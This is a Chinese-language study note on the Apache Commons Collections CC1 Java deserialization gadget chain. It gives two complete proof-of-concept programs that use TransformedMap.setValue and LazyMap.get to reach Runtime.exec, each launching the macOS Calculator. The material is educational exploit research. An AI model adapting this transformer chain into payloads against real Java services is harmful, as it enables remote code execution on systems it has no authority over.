上篇文章对构造payload和利用payload有了基本的了解,这篇文章就稍微补充一下其它的利用方法。
我们可以知道map可以使用put方法使内容发生变化,但也有其它方法也可以使用内容发生变化从而触发利用,如setValue方法
package com.zyer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.*;
public class CC1 {
public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerchain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put(1,1);
Map outermap = TransformedMap.decorate(innermap,null,transformerchain);
Iterator it = outermap.entrySet().iterator();
while (it.hasNext()){
Map.Entry entry = (Map.Entry)it.next();
System.out.println(entry);
entry.setValue("zyer");
}
}
}
那么我们可以知道,利用cc1链触发发序列化漏洞的思路就是寻找一个类有readObject方法,且能传入Map类型的参数,并且会让我们传入的参数执行setValue/put方法,下一篇文章进行学习。
在学习过程中发现除了TransformedMap.decorate()这个方法之外还可以使用lazymap的get方法同样能触发
package com.zyer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.*;
public class CC1 {
public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerchain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put(1,2);
Map outermap = LazyMap.decorate(innermap,transformerchain);
outermap.get(0);
}
}
不过差异是调用 get()
方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform()
方法。
innermap<key,value>
就是get中的参数必须不是innermap中存在的key值才能获取.